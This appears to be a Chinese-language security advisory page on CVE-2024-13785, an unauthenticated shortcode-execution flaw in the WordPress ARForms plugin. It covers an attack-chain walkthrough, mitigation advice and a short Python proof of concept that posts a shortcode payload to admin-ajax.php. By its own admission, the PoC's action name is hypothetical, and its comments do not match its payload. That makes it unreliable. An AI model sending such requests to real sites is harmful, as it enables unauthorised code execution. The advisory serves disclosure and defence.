IPBUF安全漏洞报告
English
CVE-2024-13785 CVSS 5.6 中危

CVE-2024-13785 WordPress ARForms插件任意Shortcode执行漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2024-13785
漏洞类型
远程代码执行
CVSS评分
5.6 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress ARForms Plugin

相关标签

RCEWordPressARFormsShortcode ExecutionCVE-2024-13785无需认证

漏洞概述

WordPress ARForms插件在1.7.2及之前版本中存在安全漏洞。该漏洞源于插件在处理特定用户请求时,未对输入数据进行严格验证,直接将其传递给do_shortcode函数执行。这允许未经身份验证的攻击者向服务器发送包含恶意Shortcode的请求,从而在目标网站上执行任意代码。攻击者可利用此漏洞窃取敏感数据、篡改网站内容或进一步控制服务器,对网站安全构成严重威胁。

技术细节

该漏洞的核心在于WordPress ARForms插件对Shortcode的不安全处理。插件在处理AJAX请求时,通常会注册一个WordPress action来处理前端提交的数据。在受影响的版本中,开发人员未对用户可控的输入参数进行清理或白名单验证,直接将受控变量作为参数传递给WordPress核心的do_shortcode()函数。由于WordPress Shortcode机制允许执行特定的回调函数,攻击者可以利用这一机制调用系统中已注册的Shortcode。如果系统中安装了其他功能强大的Shortcode(如文件操作、数据库查询Shortcode),攻击者即可串联利用。攻击过程无需管理员权限,通过构造特定的HTTP POST请求发送至/wp-admin/admin-ajax.php,并在请求体中注入带有恶意Shortcode的参数,即可触发服务端执行,导致信息泄露或远程代码执行(RCE)。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站是否安装了存在漏洞的ARForms插件(版本 <= 1.7.2)。
STEP 2
2. 构造恶意请求
攻击者构造包含恶意Shortcode(如文件读取、数据库查询等)的HTTP POST请求,目标指向WordPress的admin-ajax.php接口。
STEP 3
3. 触发漏洞
插件接收到请求后,未对参数进行过滤直接调用do_shortcode()函数执行传入的内容。
STEP 4
4. 执行代码
服务器解析并执行恶意Shortcode,导致敏感信息泄露或进一步在服务器上执行任意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_arforms(target_url): """ PoC for CVE-2024-13785: Arbitrary Shortcode Execution in ARForms Plugin. This script sends a malicious payload to execute arbitrary shortcodes. """ # The AJAX endpoint for WordPress ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Vulnerable payload containing a malicious shortcode # Replace [system]ls -la[/system] with a shortcode available on the target server payload = { "action": "arforms_public_action", # The vulnerable action parameter (hypothetical name based on vuln description) "item_id": "[malicious_shortcode]" # The parameter that gets passed to do_shortcode without validation } try: print(f"[+] Sending payload to {ajax_url}...") response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response (check for execution output):") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with the actual target URL exploit_arforms(target)

影响范围

ARForms <= 1.7.2

防御指南

临时缓解措施
建议立即将ARForms插件升级至最新版本以修复此漏洞。若无法立即升级,应临时禁用该插件或通过Web应用防火墙(WAF)配置规则,拦截对/admin-ajax.php的特定POST请求,特别是检测请求体中包含方括号[]等Shortcode特征的数据包,直至完成修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表